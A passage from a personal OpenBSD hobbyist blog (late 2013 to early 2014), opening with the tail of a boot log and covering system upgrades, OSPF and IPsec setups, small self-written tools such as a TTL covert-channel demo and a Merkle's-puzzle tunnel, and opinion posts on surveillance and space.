puc0 at pci2 dev 10 function 1 "Intel EG20T Serial" rev 0x01: ports: 1 com
com2 at puc0 port 0 apic 0 int 19: ti16750, 64 byte fifo
puc1 at pci2 dev 10 function 2 "Intel EG20T Serial" rev 0x00: ports: 1 com
com3 at puc1 port 0 apic 0 int 19: ti16750, 64 byte fifo
puc2 at pci2 dev 10 function 3 "Intel EG20T Serial" rev 0x00: ports: 1 com
com4 at puc2 port 0 apic 0 int 19: ti16750, 64 byte fifo
puc3 at pci2 dev 10 function 4 "Intel EG20T Serial" rev 0x00: ports: 1 com
com5 at puc3 port 0 apic 0 int 19: ti16750, 64 byte fifo
"Intel EG20T DMA" rev 0x00 at pci2 dev 12 function 0 not configured
"Intel EG20T SPI" rev 0x00 at pci2 dev 12 function 1 not configured
"Intel EG20T I2C" rev 0x00 at pci2 dev 12 function 2 not configured
"Intel EG20T CAN" rev 0x00 at pci2 dev 12 function 3 not configured
"Intel EG20T 1588" rev 0x01 at pci2 dev 12 function 4 not configured
usb2 at ohci0: USB revision 1.0
uhub2 at usb2 "Intel OHCI root hub" rev 1.00/1.00 addr 1
usb3 at ohci1: USB revision 1.0
uhub3 at usb3 "Intel OHCI root hub" rev 1.00/1.00 addr 1
usb4 at ohci2: USB revision 1.0
uhub4 at usb4 "Intel OHCI root hub" rev 1.00/1.00 addr 1
usb5 at ohci3: USB revision 1.0
uhub5 at usb5 "Intel OHCI root hub" rev 1.00/1.00 addr 1
usb6 at ohci4: USB revision 1.0
uhub6 at usb6 "Intel OHCI root hub" rev 1.00/1.00 addr 1
usb7 at ohci5: USB revision 1.0
uhub7 at usb7 "Intel OHCI root hub" rev 1.00/1.00 addr 1
ppb2 at pci0 dev 24 function 0 "Intel E600 PCIE" rev 0x00
pci3 at ppb2 bus 3
ppb3 at pci3 dev 0 function 0 "IDT 89HPES4T4" rev 0x0e
pci4 at ppb3 bus 4
ppb4 at pci4 dev 2 function 0 "IDT 89HPES4T4" rev 0x0e
pci5 at ppb4 bus 5
em0 at pci5 dev 0 function 0 "Intel PRO/1000 MT (82574L)" rev 0x00: msi, address 00:00:24:d0:1e:a4
ppb5 at pci4 dev 3 function 0 "IDT 89HPES4T4" rev 0x0e
pci6 at ppb5 bus 6
em1 at pci6 dev 0 function 0 "Intel PRO/1000 MT (82574L)" rev 0x00: msi, address 00:00:24:d0:1e:a5
ppb6 at pci4 dev 4 function 0 "IDT 89HPES4T4" rev 0x0e
pci7 at ppb6 bus 7
ppb7 at pci0 dev 25 function 0 "Intel E600 PCIE" rev 0x00
pci8 at ppb7 bus 8
ppb8 at pci8 dev 0 function 0 "IDT 89HPES4T4" rev 0x0e
pci9 at ppb8 bus 9
ppb9 at pci9 dev 2 function 0 "IDT 89HPES4T4" rev 0x0e
pci10 at ppb9 bus 10
em2 at pci10 dev 0 function 0 "Intel PRO/1000 MT (82574L)" rev 0x00: msi, address 00:00:24:d0:1e:a6
ppb10 at pci9 dev 3 function 0 "IDT 89HPES4T4" rev 0x0e
pci11 at ppb10 bus 11
em3 at pci11 dev 0 function 0 "Intel PRO/1000 MT (82574L)" rev 0x00: msi, address 00:00:24:d0:1e:a7
ppb11 at pci9 dev 4 function 0 "IDT 89HPES4T4" rev 0x0e
pci12 at ppb11 bus 12
ppb12 at pci0 dev 26 function 0 "Intel E600 PCIE" rev 0x00
pci13 at ppb12 bus 13
tcpcib0 at pci0 dev 31 function 0 "Intel E600 LPC" rev 0x00: 14318179 Hz timer, watchdog
isa0 at tcpcib0
isadma0 at isa0
com0 at isa0 port 0x3f8/8 irq 4: ti16750, 64 byte fifo
com0: console
pcppi0 at isa0 port 0x61
spkr0 at pcppi0
mtrr: Pentium Pro MTRR support
vscsi0 at root
scsibus1 at vscsi0: 256 targets
softraid0 at root
scsibus2 at softraid0: 256 targets
root on sd0a (4bcb82dcecf261d5.a) swap on sd0b dump on sd0b
Mars (G4 Cube) has been donated to the OpenBSD project
October 23rd, 2013
A developer of OpenBSD will be taking care of this box when I send it to
him (probably leaving my doors saturday). All in all I'm very happy to have
found a good home for this computer.
Testing TOR Onion Routing
October 24th, 2013
I've installed tor from the OpenBSD ports on my workstation Jupiter.
Tor is an anonymizer service for
HTTP and HTTPS. I'm gonna give this a go for a few hours, days, weeks, months
or so depending how I feel about it.
OpenBSD 5.4 Arrived!
October 26th, 2013
OpenBSD 5.4 arrived. Thank you OpenBSD Europe! And thank you OpenBSD!
My OSPF Network
October 27th, 2013
I have finally set everything up like I want it to. And so far I have not
created a packetstorm, but who knows what's next. So here is my OSPF Network
the best I can explain it:
If there is any hints on how to improve on this it'd be appreciated.
All computers upgraded to OpenBSD 5.4
October 29th, 2013
It's such a joy to upgrade OpenBSD. /bsd.rd and sysmerge followed by a
pkg_add -u. I have upgraded jupiter, luna, uranus and venus all to 5.4.
And there is no errata54 yet. Perfect! Fallout hasn't been noticed
except that the nvidia driver (nv) for OpenBSD 5.4 sucks. I'm considering
buying a new AMD Radeon graphics card in the 60-80 euros range. Since my
nvidia card is fairly old in model number a new card in that price range
will probably be compatible in performance like before.
Nvidia Card about to be replaced
October 29th, 2013
I have purchased a Sapphire Radeon HD5450 graphics card. This
card will replace my MSI N250GTS Twin Frozr 1G 1GB DDR3 card that I originally bought
with Jupiter. I hope they are comparable in performance. Just that the
Radeon doesn't do 2 monitors which the Nvidia card did. But since I don't
do such a setup it should be fine.
A tiny blip on the W commit log screen
October 30th, 2013
Wildcarddnsd didn't get much commit time this year. But this time there
was something. I committed support for Raspberry Pi running raspbian.
That's gotta count for something, however small. Have fun with it!
Centroid blog now available in CVS
November 1st, 2013
I have decided to open source the PHP behind this blog. It's all about
letting go and showing the innards isn't it? :-)
Anyhow here
are the sources. This PHP source code has never seen anyone's eyes but mine
before this. Perhaps it's not great but it makes this blog the way it is.
OpenBSD 5.4 released
November 1st, 2013
You can now download OpenBSD 5.4 from your favourite OpenBSD FTP mirror.
I usually use ftp.eu.openbsd.org in europe but if I was in north america
I'd use ftp.openbsd.org. Congratulations to the OpenBSD team for yet another
great release!
Fast Hellos are on
November 1st, 2013
Yesterday I turned on fast hellos on my OSPF setup. This is what venus'
ospfd.conf file looks like now:
Notice gif0 has a lower metric than gif1, fast-hello-interval time is 333 msecs.Which is also default so it needn't be there. The "router-dead-time minimal"
causes fast hellos to go on. So when I watch the packets on gif1 which isn't
used for traffic I see:
# netstat -nw 1 -I gif1
gif1 in gif1 out total in total out
packets errs packets errs colls packets errs packets errs colls
200827 0 209273 0 0 75406364 0 80678099 0 0
3 0 3 0 0 29 0 29 0 0
3 0 3 0 0 22 0 22 0 0
...
exactly 3 packets per second in either direction. I suspect now that when
my LTE fritz!box crashes again that the failover to the gif1 link will be
next to instant.
Jupiter (computer) now on Radeon
November 3rd, 2013
After 3.5 years of Nvidia, the box is now running a low to medium end
Sapphire Radeon HD5450 card. I'm saving a ton of electricity with this
card too! And OpenBSD is fast again! Wonders!
Facilities and Priorities in syslog
November 4th, 2013
We had this problem in that we didn't know what facility a certain program was
syslogging to, so we straced it (in linux), check a sample here:
That was produced with the input "strace -o blah.out logger hi". So syslog
logs a number inside <> at the beginning to indicate what facility and priority
it is. It's sorta a code. So I wrote the following
BSD program
to convert the number into their respective fac and pri. Enjoy!
For administrivia, how would you speed up this program? Take a look at
/usr/include/syslog.h and think binary search.
Smithing tools to understand code
November 8th, 2013
Yesterday I looked at the traceroute(8) source code in order to look for
attack vectors. I came out empty handed. But I smithed a tool for my
work that can be reused later I think.
This tool helped me overcome reading the function print_exthdr() better and
determining it was safe. Not many people admit to doing this kinda stuff but
I think I'll leave this to the next person that doubts OpenBSD's traceroute.c.
I'm not ashamed at all! Should I be?
talk(1) patch to display timestamps
November 9th, 2013
I have written a small patch to talk(1) as found in FreeBSD (yes for a change!)
to display timestamps when someone wrote a line. It's a little buggy but it
works.
Thanks goes to Dylan who I've been talk(1)ing with and gave me the idea.
What's happening here?
November 11th, 2013
I think the medias need to step back a bit. We all know that the US is spying
on us but we don't need to be spoon-fed the paranoia. It's causing illogical
decisions (firewalled europe anyone?) on parts of big powerful corporations
who see opportunity to take away everyones freedom. Let's get off this
paranoid horses back! I love freedom personally.
Slow Communication (ttldaemon.c)
November 11th, 2013
I have written a small daemon that changes the outgoing TTL on a FreeBSD
host. It's a covert steganographic channel. When a bit is set the TTL
is 65 and when it's 0 the TTL is 64. On the receiving end of a ping then
perhaps you can make out the bits of a message:
jupiter$ ping -i 10 io.solarscale.de
PING io.solarscale.de (78.47.14.22): 56 data bytes
64 bytes from 78.47.14.22: icmp_seq=0 ttl=53 time=15.691 ms
64 bytes from 78.47.14.22: icmp_seq=1 ttl=53 time=16.608 ms
64 bytes from 78.47.14.22: icmp_seq=2 ttl=54 time=14.907 ms
64 bytes from 78.47.14.22: icmp_seq=3 ttl=54 time=15.247 ms
64 bytes from 78.47.14.22: icmp_seq=4 ttl=53 time=15.183 ms
64 bytes from 78.47.14.22: icmp_seq=5 ttl=53 time=16.017 ms
64 bytes from 78.47.14.22: icmp_seq=6 ttl=53 time=16.465 ms
64 bytes from 78.47.14.22: icmp_seq=7 ttl=54 time=15.134 ms
64 bytes from 78.47.14.22: icmp_seq=8 ttl=53 time=18.659 ms
64 bytes from 78.47.14.22: icmp_seq=9 ttl=53 time=15.542 ms
64 bytes from 78.47.14.22: icmp_seq=10 ttl=54 time=15.176 ms
64 bytes from 78.47.14.22: icmp_seq=11 ttl=54 time=16.411 ms
64 bytes from 78.47.14.22: icmp_seq=12 ttl=53 time=15.418 ms
64 bytes from 78.47.14.22: icmp_seq=13 ttl=54 time=15.438 ms
64 bytes from 78.47.14.22: icmp_seq=14 ttl=53 time=15.388 ms
64 bytes from 78.47.14.22: icmp_seq=15 ttl=53 time=15.918 ms
64 bytes from 78.47.14.22: icmp_seq=16 ttl=53 time=15.306 ms
64 bytes from 78.47.14.22: icmp_seq=17 ttl=53 time=15.347 ms
Notice how the TTL changes here. If it's 54 then the original TTL was 65,
so 1 bit. So what was gathered here was 001100010011010000. Eventually
I'd like to write a client to record this. But I'm gonna cheat for now
and give you the source code.
I just give greetings and peace wishes but with a bit of coding it could
be changed to something very creative!
Ordered a new book
November 15th, 2013
I have ordered...
Alternative DNS Servers: Choice and Deployment, and Optional SQL/LDAP Back-Ends - Jan-Piet Mens
I do hope this is worth having. This brings my orders for this year to 15
which I hoped to achieve, perhaps I'll order one or two more books but then
that's it. I gotta read these too!
My first OpenBSD vps
November 17th, 2013
I have decided to switch plans on my Panama VPS americas.centroid.eu. I now
have the option to run OpenBSD on it and I'm going to go for it.
I'm looking forward to IPSEC encrypting from io.solarscale.de and moon.virgostar.net to americas.centroid.eu. I have already set up strongswan on io and moon
and americas was lacking this functionality but now it'll work. This should
keep me busy until new years :-).
Sent Brad Smith 10 Euros
November 18th, 2013
A call on the
undeadly openbsd journal was answered by me. I sent Brad Smith 10 euros
for his new laptop. If 100 people do similar he'll be able to buy his new
beast. Of course this is for the greater good! Brad lives in Toronto where
I used to live for 7 years once, so this is from one (ex-)Torontonian to the next.
Wildcarddnsd BETA 8 has been released
November 19th, 2013
This is a small release for wildcarddnsd. We have new debug feature and support for Raspberry Pi. It is a small
release because I have dwindling time this year due to my job and there is
little to no help coming from the outside. I welcome each and every person who
wants to program on this daemon.
Americas is now OpenBSD
December 3rd, 2013
I have taken the new americas into "production" so to speak. It is serving
all kinds of things and I'm currently developing software to make it even
"safer" :-).
Merkle's puzzles not to defeat
December 4th, 2013
But to stall/delay/cost the adversary..
On chapter 2, page 34 of Applied Cryptography by Bruce Schneier, which is a
rather old text I found the gem of Merkle's puzzles. Ralph Merkle is renowned
in the cryptography scene for finding out about these puzzles. While I don't
want to go into explaining the puzzle, I do think that they can offer some
protection when RSA assymetric encryption fails. Pretend there is a quantum
computer able to break assymetric encryption. What I have done is implemented
a Merkle's puzzle server that I'll be using to connect to my vps. The server
creates a tunnel that is SHA1 HMAC'ed and AES-256-CBC encrypted. While this
may seem enough, it's not. I still ssh within this tunnel but it does require
some effort to get to the assymetric encryption.
jupiter$ ls -1 *.c
mps.c - creates the gigabytefile of encrypted messages
mpsclient.c - uses a cracked message to talk to the server
mpscrack.c - cracks a message in the gigabyte file
mpsd.c - talks to the client to set up the encrypted tunnel
I'll be setting up a system to distribute over ssh the gigabytefile so that I
can crack a message at home with it and from there use mpsclient to connect
to the server.
I'm debating whether I should open source this. Give it time perhaps I will.
Wildcarddnsd is in production again
December 8th, 2013
After a long pause of more than a year, I've enabled wildcarddnsd on
americas.centroid.eu. It is master to a bind9 (moon.virgostar.net) and an
nsd3 (io.solarscale.de) nameserver. I was able to do this change due to
wildcarddnsd's shared memory which didn't work on a freebsd jail.
Anyhow I only did a few mistakes moving the zones over and perhaps I should
write a bind9 zones convert tool to wildcarddnsd zones.
2013 - Year in review
December 10th, 2013
Like every year I do the review on December 10th, so here goes.
December 13th 2012, Purchased two books
December 14th 2012, decided to expire goldflipper.net
December 18th 2012, registereed amdeutschhof.de
December 18th 2012, December solstice in three days
December 18th 2012, Planets aligned on the 21st?
December 22nd 2012, My Spaceship
December 24th 2012, Merry Christmas!
December 28th 2012, Frankfurt-Helsinki in 6 hours by rail?
December 28th 2012, Looking for love in all the wrong places
December 31st 2012, Happy New Year 2013
January 7th 2013, Got a new monitor
January 7th 2013, How a base on Phobos could look like
January 10th 2013, Got a new book on WLAN's
January 11th 2013, Fibre Optics in the Canadian North
January 19th 2013, Let me explain how the Internet works...
January 20th 2013, This years traffic from Uranus (computer)
January 20th 2013, Date correction
January 24th 2013, Ordered two new books
January 24th 2013, Neat little vmware fusion trick
January 26th 2013, Bought a backup drive
January 28th 2013, Time Machine backup really slow
January 29th 2013, DECENTRALIZED
January 30th 2013, IRC
January 31st 2013, NAP of the Americas in Miami
January 31st 2013, Wire-tapping of the Cloud...
February 1st 2013, If I do upgrade Jupiter(computer)...
February 2nd 2013, This is actually cool!
February 9th 2013, Slowly getting ready for move
February 13th 2013, I've moved
February 14th 2013, My new IPv6 setup
February 15th 2013, Reinstated CVSWEB for my programs
February 17th 2013, Wildcarddnsd BETA 7 released
February 17th 2013, Introducing Fire Curses client
February 19th 2013, Firefox does DNS prefetching in OpenBSD
February 24th 2013, Donation time again
February 28th 2013, Teleworking: Mrs. Mayer you're (still) wrong
February 28th 2013, My first video entry
February 28th 2013, SVPradio 100th show next Wednesday
March 7th 2013, My first libssh program
March 8th 2013, Ordered two books
March 10th 2013, An era ends?
March 18th 2013, Equinox in 2 days
March 20th 2013, First day of Spring! Goodbye Winter!
March 24th 2013, Switched emea to FreeBSD
March 25th 2013, OpenBSD has released it's 5.3 Song
March 30th 2013, My sorta first ruby program
March 30th 2013, Next wednesday is SVP Radio's 2nd year anniversary
April 1st 2013, Goodbye Source!
April 2nd 2013, I'm still anti-nuclear
April 6th 2013, Pre-ordered OpenBSD 5.3 CD
April 8th 2013, EFnet.XS4ALL.NL has K-lined Hetzner.de IP's
April 12th 2013, Total Rip-Off, I'm gonna keep it!
April 23rd 2013, Germany's Deutsche Telekom starts a 75 GB cap on DSL
April 25th 2013, Network Rearrangement Next Week
April 25th 2013, 1 month left for goldflipper.net
April 25th 2013, Saturn in Libra (close to the moon)
April 26th 2013, What DT is doing wrong
April 28th 2013, Taking a vacation from IRC
April 29th 2013, Why would a provider get rid of flatrate?
May 1st 2013, OpenBSD 5.3 released, 3 hosts upgraded
May 2nd 2013, The cravings are bad...
May 2nd 2013, My Compression Algorithm doesn't work
May 3rd 2013, Google Glass doesn't really phase me
May 4th 2013, We don't really have alternative access
May 5th 2013, Ordered a new book from Amazon
May 6th 2013, Earworms, Ohrwurms and co.
May 6th 2013, Changed blog a little
May 7th 2013, Asterisk patch
May 8th 2013, Hackathon Trademark
May 8th 2013, Strato.com HIDRIVE is real slow today
May 9th 2013, Finished upgrading to OpenBSD 5.3
May 10th 2013, New Intro Screen with Animation
May 11th 2013, NASA Asteroid Mission, not a bad idea
May 12th 2013, Got a shot of moon and Jupiter
May 13th 2013, Politics: I'm still a pirate
May 13th 2013, Crossing my fingers for Chris
May 13th 2013, Freifunk Schweinfurt is alive
May 15th 2013, My idea for a virtual reality headset
May 17th 2013, OpenBSD fixes a panic I found
May 21st 2013, Second Video Blog (Vlog?) entry
May 21st 2013, Experimenting with an RSS feed
May 22nd 2013, This is a valid RSS feed
May 22nd 2013, Move DNS to TCP? Great Idea! Really...
May 23rd 2013, Alphabetical countup AWK beats Ruby 1.8
May 24th 2013, Added squid proxy to mars
May 24th 2013, Panama getting more bandwidth in 2014
May 25th 2013, Goldflipper.net expires today
May 29th 2013, Purchased an ipod touch
June 2nd 2013, Changed the Main Page
June 4th 2013, OpenBSD Arrived! VLOG entry #3
June 7th 2013, Donation time again
June 8th 2013, A second arctic route...
June 11th 2013, Success! I ran an app on my iPod
June 11th 2013, FAAC compiles inteo ffmpeg on OpenBSD
June 12th 2013, Vlog #4, just a test
June 14th 2013, Vlog #5 Got 3 books on IOS development
June 16th 2013, A german Google? Will the market allow it?
June 18th 2013, Northern Solstice in 3 days
June 18th 2013, Some video about Wildcarddnsd
June 20th 2013, The moon last night
June 21st 2013, Sunny Solstice
June 23rd 2013, What government should do
June 25th 2013, Got a new book
June 25th 2013, The Key Satellites
June 25th 2013, UFO sighted
June 25th 2013, How everyones Internet should be like
June 26th 2013, This is for July 1st
June 30th 2013, Helping the NSA find baby-jesus
July 1st 2013, Cherries!
July 2nd 2013, Weird Sky, more UFO's?
July 3rd 2013, Good Engineering will prevent domestic Spying
July 4th 2013, A look back from 2001: Has my vision really changed?
July 5th 2013, 2014, the year of the cable?
July 6th 2013, Redder Cherries
July 7th 2013, DSL not working, getting LTE
July 9th 2013, Got LTE, Internet is stable again
July 11th 2013, How the Internet should be like (Pt. 2)
July 11th 2013, IT Security, SSH timing attack
July 17th 2013, This blog now obfuscates all data
July 18th 2013, Just more preaching about preventing spying
July 25th 2013, Centroid Blog for Lynx readers
July 28th 2013, Watched the Big Dipper out my Kitchen Window
August 5th 2013, I asked for a static IP again
August 15th 2013, Purchased a Raspbarry Pi mini-computer
August 16th 2013, Wait a minute... not so fast... what changed?
August 18th 2013, Got Raspberry Pi, it's running Linux now
August 23rd 2013, Ordered a WLAN UsB adapter for the Pi
August 25th 2013, Got two books I ordered
August 27th 2013, Vacationing in Canada next month
August 27th 2013, Will be guest DJ'ing at SVPradio.COM
September 3rd 2013, RadeonDRM on OpenBSD
September 4th 2013, Wildcarddnsd has little new features for BETA8
September 5th 2013, OpenSMTPD upgraded on io.solarscale.de
September 6th 2013, Just a thought, is Snowden a FUD-Trojan?
September 6th 2013, My public AP is on an Edimax adapter now
September 6th 2013, Good article by Bruce Schneier
September 12th 2013, Pre-Ordered OpenBSD 5.4
September 14th 2013, One year of ap.centroid.eu
September 15th 2013, Southbound Equinox in 7 days
September 15th 2013, Pirate Pary got 2% in Bavarian election
September 21st 2013, Tomorrow
September 23rd 2013, e* came and went
September 25th 2013, SVPRadio appearance came and went
October 1st 2013, Some pictures from my vacation
October 9th 2013, First Snowday of the Year
October 13th 2013, I'm home now
October 13th 2013, Snowstorm in Nunavut on the 8th of October
October 14th 2013, Donated 150 euros to OpenBSD
October 14th 2013, A Train to Nowhere (Sep 28th - 30th)
October 14th 2013, Iqaluit, Nunavut (October 7th - 11th)
October 14th 2013, Upgraded my ipod touch to IOS 7
October 15th 2013, Ordered a Soekris
October 15th 2013, Network Rearrangement in 2 Weeks
October 17th 2013, Deutsche Telekom
October 19th 2013, Got the Soekris
October 21st 2013, Venus (Soekris router)
October 23rd 2013, Mars (G4 Cube) has been donated to the OpenBSD project
October 24th 2013, Testing TOR Onion Routing
October 26th 2013, OpenBSD 5.4 Arrived!
October 27th 2013, My OSPF Network
October 29th 2013, All computers upgraded to OpenBSD 5.4
October 29th 2013, Nvidia Card about to be replaced
October 30th 2013, A tiny blip on the W commit log screen
November 1st 2013, Centroid blog now available in CVS
November 1st 2013, OpenBSD 5.4 released
November 1st 2013, Fast Hellos are on
November 3rd 2013, Jupiter (computer) now on Radeon
November 4th 2013, Facilities and Priorities in syslog
November 8th 2013, Smithing tools to undersdtand code
November 9th 2013, talk(1) patch to display timestamps
November 11th 2013, What's happening here?
November 11th 2013, Slow Communication (ttldaemon.c)
November 15th 2013, Ordered a new book
November 17th 2013, My first OpenBSD vps
November 18th 2013, Sent Brad Smit 10 Euros
November 19th 2013, Wildcarddnsd BETA 8 has been released
December 3rd 2013, Americas is now OpenBSD
December 4th 2013, Merkle's puzzles not to defeat
December 8th 2013, Wildcarddnsd is in production again
io <--> americas <--> moon now IPSEC'ed
December 12th, 2013
I have made 2 IPSEC tunnels between io.solarscale.de, americas.centroid.eu
and moon.virgostar.net. These are all my 3 nameservers and they used to
exchange zone files in plain text. Well not no more.
IO and MOON are FreeBSD so I found racoon the right combination for them.
Americas which is OpenBSD uses isakmpd all for IKEv1 key exchange. The
cipher negotiated is AES. It seems to work and I packet dumped to confirm
that it's ESP'ed. Praise!
Southern Solstice in 6 days
December 15th, 2013
The solstice is here in in less than a week! You can read about
Solstices here. I
predict if daylight is the same X days before and after the solstice in
symmetric fashion then the days should be getting longer on the 28th of
December which isn't too far off! At least this applies to the northern
hemisphere! And inbetween is christmas, so it's not so bad is it?
I wish Europe would land on the moon too
December 16th, 2013
The moon is probably the most mysterious thing that every human can observe
with their own eyes. When will Europe explore this object?
Compartmenting more $USER functionality
December 17th, 2013
It is well known that daemons (or if you want to call them servers you can),
compartment themselves to their own user... so why can't I do the same for
firefox browser? The Idea I got from a slide from Mike Belopuhov's talk in
at ruBSD, see here. I recently found
out I can do this. Here is what I've done:
This will ssh to localhost with X11Forwarding with the arcfour cipher (later I
plan on using chacha), because arcfour is speedy. I had to do the same for
URL's in thunderbird so that when I click on an url the pjpff user sees it in
the browser. But there is one drawback. Pasting text back. So I've used the
never used "email link" function to send back an URL of interest back to me and
it goes back to the thunderbird. It works out well. Another obstacle is moving
files for upload or download. I'm going to write a small daemon for that with
a hopefully curses client.
I can now browse easier knowing that firefox can't browse through my files in
some hidden or not-known functionality. I'm paranoid about that so I'd rather
close a possible hole.
I'm in love with the new Apple Mac Pro (cylinder)
December 19th, 2013
...and I have 6 months to decide if I want to make it my next work computer.
I would be replacing Jupiter (Core i7-930) for everyday tasks. If I get it
I'm considering putting OpenBSD natively on the 2012 Mac Mini that I have, so
that at least one computer will run OpenBSD natively. OpenBSD will also run
on this Mac Pro under vmware. Right now I'm high from its design, maybe that
will die down in time. Jupiter turns 4 in june, it cost around 2000 euros,
the Mac Pro would cost around 3500, but it's assembled in the USA which means
good quality...
Donated 5 euros to the LibreOffice Document Foundation
December 22nd, 2013
I donated 5 euros to the Document Foundation. Thanks for allowing me to
run slides for presentations with OpenBSD!
Living with Schitzophrenia, what's it like?
December 23rd, 2013
I pop my pills every day and everything seems normal. I don't know how it
would be without them, never tried. Stigma against Schizos? Probably
exists. I'm not exactly rich in Germany.
Purchased Music off iTunes
December 23rd, 2013
I purchased 2 albums. One the Major Riddim by Don Corleon Music and the other
Tarrus Riley Mecoustic album. I'm listening to these as I write this.
Merry Christmas
December 25th, 2013
May peace be unto thee!
Success, configuring the resolver right
December 26th, 2013
I started this thread
in hopes of configuring my resolver right. Many wanted to help me and some
laughed at me, but in the end I got what I wanted which was the "search ." in
my resolv.conf. Would be a shame if this knowledge wasn't passed on to others
and hence I suggested putting it in the manpage for resolv.conf. Just not sure
on the right wording so I left it for others to take a peek.
It's all about distribution...
December 28th, 2013
Hackers in Germany are brainstorming what they can do against the state
surveillance. My position is that the structure that the Internet is built
is wrong. There is no distribution, everything is centralized in a few
major ISP's. If people had smaller ISP's to choose from, if people had been
enabled to do their own Internet-networking then the monetary infrastructure
would enable people to fend off government threats, as a collective. With
the current model there is a few companies that are easily misled by state
securities. We have a disaster as a result.
My Moonchart...and more
December 30th, 2013
I don't really really believe in astrology, but I find it amazing what
sort of moons and planets were in my night sky at my birthday, so here it is
my moonchart:
moon jupiter saturn mars moon jupiter saturn mars
1976 X 1997 X
1977 1998
1978 1999
1979 X 2000
1980 2001
1981 X X 2002
1982 X X 2003
1983 X 2004
1984 X 2005 X
1985 2006 X
1986 2007
1987 X 2008
1988 2009
1989 2010 X
1990 2011 X
1991 2012 X
1992 2013
1993 X 2014 X
1994 2015
1995 X 2016
1996 2017 X
2025 X 2029 X X
I'll try to correlate this to events in my life sometime, but not yet.
Happy New Year 2014
January 1st, 2014
I went to bed early last night and slept through the fireworks, oh well.
I think 2014 will be a good year.
Why China is fixated on the Moon
January 1st, 2014
Recently in conversation I had with someone the chinese ambitions on the moon
came up. They want to exploit the moon for its resources, she said. And I
said "I know, isn't it beautiful?". Then I told her about mans quest into
space and the earth being a womb to a human baby-mind. She thought I was
crazy.
So then I read this BBC
article, about why china is fixated on the moon. My opinion is that
we should use the moons resources not to bring back to earth but to strengthen
the space program. Use the resources to go out further. Also why is the
rest of the world fixated on Mars? Does mars have resources more abundant than
the moon? Or easier to be stripped? When looking at the moon it is a system
similar to that on earth and perhaps there is more abundance of elements there
than we'll ever find on mars? If nuclear fusion reactors (which don't exist
yet) can be powered by helium-3 from the moon, which is taken as a sort of
catalyst or inhibitor in order to control the fusion then I say go for it.
That's the only element where I say bring it back to earth because there isn't
much of it and it's easily transported. Don't bring back the metals though..
those are too bulky and make better sense to be used in spacecraft beyond
moon orbit, or as antennas for dark side listening posts.
In the end, the article says there is potentially 10,000 years of power for
the electric needs on earth in helium-3. If that't true it'll probably be a
race among chinese and american private power companies to get the most
they can. Good luck, humanity!
My IT spendings are just about average in .de
January 2nd, 2014
Apparently a survey done by the European Information Technology Observatory
concluded that in 2013 the average spendings for IT per german is 1500 euros.
So I'm actually just about at this average, small count of my spendings:
provider m-net 20 euro/month
provider vodafone 24 euro/month
vps provider hub.org 35 dollars/month
vps provider vr.org 20 dollars/month
vps provider hetzner 8 euros/month
KNF (franken.de) 5 euros/month
This comes to about 85 euros per month and then there is other costs involved.
I think I'm just about average.
Ordered two books
January 5th, 2014
I have ordered two books from amazon. One dealing with OpenCL programming
and the other with virtual reality, who knows where this will take me.
So, who owns the Internet?
January 8th, 2014
Here is an article
with the same title and I admit to you I haven't read it. But I'd like to
tell you what I think. The Internet is owned by corporations who are in it
for profit. Since the profit margin is very small, yet people expect to be
paid a lot they devise scarier methods (such as killing net neutrality,
killing adfree content) to make even more profit. That is the truth.
We, the people do not own the Internet, and we need to wake up and smell
the coffee. We are however the soul of the Internet, and we make it a
happening place.
So why do we not take ownership of it?
I have started
by investing 20 euros into a WRT router that will be hooked up to
freifunk.net, which is an initiative to mesh network everyone in germany.
There obviously is a lot of gaping holes causing no service. But if people
pick up and add their own 20 euro router eventually it'll become a network.
And it gives you ownership of it, albeit a very small yet important part of it.
I'm looking forward to pioneering this network in my neighbourhood and hopefully
people will jump on the bandwagon. More on this later.
I'm currently reading the book "Infinite Reality" by Blascovich and Bailenson
and I think this book is a real thriller. I think virtual reality is not too
far off for the consumer if you follow
Oculus Rift progress. So what would I do with it? One idea is that
I would create a "god room" as I call it. It's a room or object in the
blackness of space, where I would create or architect new rooms.
Another
idea is that I would be able to monitor my computers in a 3D fashion. For
this I have the idea of using kqueue system calls to monitor filesystem on
a host and to make an observer aware that something changed or that activity
is in one part of the system, like a 3D popup or a change in colour. The
filesystem would be represented as a tree perhaps, very simple to do (sorta).
I have experience in networking and (mostly network) programming so I believe
creating a virtual reality interface for network operators is perhaps also
on the menu. Being able to examine traffic, suspend traffic, block traffic,
create traffic and communication is what comes to mind. I poke around the
OpenBSD Operating System once in a while to see how I would implement my
ideas best when the time comes to have a head mounted display.
These not
yet created applications can be used in security and debugging scenarios,
which partially attract to me because I'm often paranoid about things. To
be able to go beyond what is possible with a keyboard and monitor interface
is what is supposed to cure my paranoia and strengthen my trust in things.
I think VR can do this, although the possibility exists that no electronic
device can be trusted at all,.. ever. In that case the VR Interface is to
unearth the threat-level.
Is the NSA so much smarter than everyone else?
January 15th, 2014
I don't think so. Mainly they probably get human resources from the
tech industry, people that worked on specific platforms. They probably
also have access to the source code of closed source programs. It's
an area that they can enjoy hiding behind patriotism and laws. And then
there is their huge budget. Money can buy smarts.
How does one resist such an organization that has all the resources in the
world vs. a lowly system administrator? I've been wondering that all along.
I considered going offline again as that is the ultimate way to stop this
madness, but that isn't gonna work out as long as I work at a job in
north america via the Internet. I'm still pondering this issue...
Donation time again
January 15th, 2014
I'm donating 200 euros to OpenBSD this early in the start of the year.
In 2012 I donated over 500 euros to them and a little less than that in 2013,
since 2014 seems to be a good year I may match the 2012 donation sum by end
of year.
Also OpenBSD is looking for corporate and private support in donations to
pay its 20,000 dollar a year electricity bill. Once they have that secured
the project will continue otherwise it's threatened with shut-down. If you
know anyone or you yourself are using OpenBSD don't you think it's time to
open your wallet to a project such as OpenBSD which is in need?
The Apple magic wore off
January 19th, 2014
Yesterday I found myself looking through PC mainboards and Intel CPU's. I
also inquired about whom to donate / hand-down my other PC to when I get the
new one. So I likely won't be getting the Mac Pro even though it's a nice
machine. I looked at ASUS Sabertooth TUF mainboard, if it's worth telling.
FreeBSD 10.0 released!
January 21st, 2014
FreeBSD 10.0
has been released. I look forward to making use of this on and off work.
Congratulations to the FreeBSD Team. In the past I have donated money to them
including 250 dollars last year, we'll have to see what I can do this year,
but it's too early in the year to judge how much I want to donate. Right now
it's celebration time for most of the BSD's!
Someone actively probed my MPS tunnel (MITM)
January 24th, 2014
My closed-sourced mpsd was probed by an unknown mitm attack, and it hung up.
Jan 24 13:48:51 americas mpsd[21598]: len too long
At the same time I saw that my host was unable to be pinged past 99% packet
loss. What's interesting to note here is that mpsd has a TCP tunnel open so
there is sequencing and checksums involved, those were actively forged by the
attack.
My apology to OpenBSD
January 28th, 2014
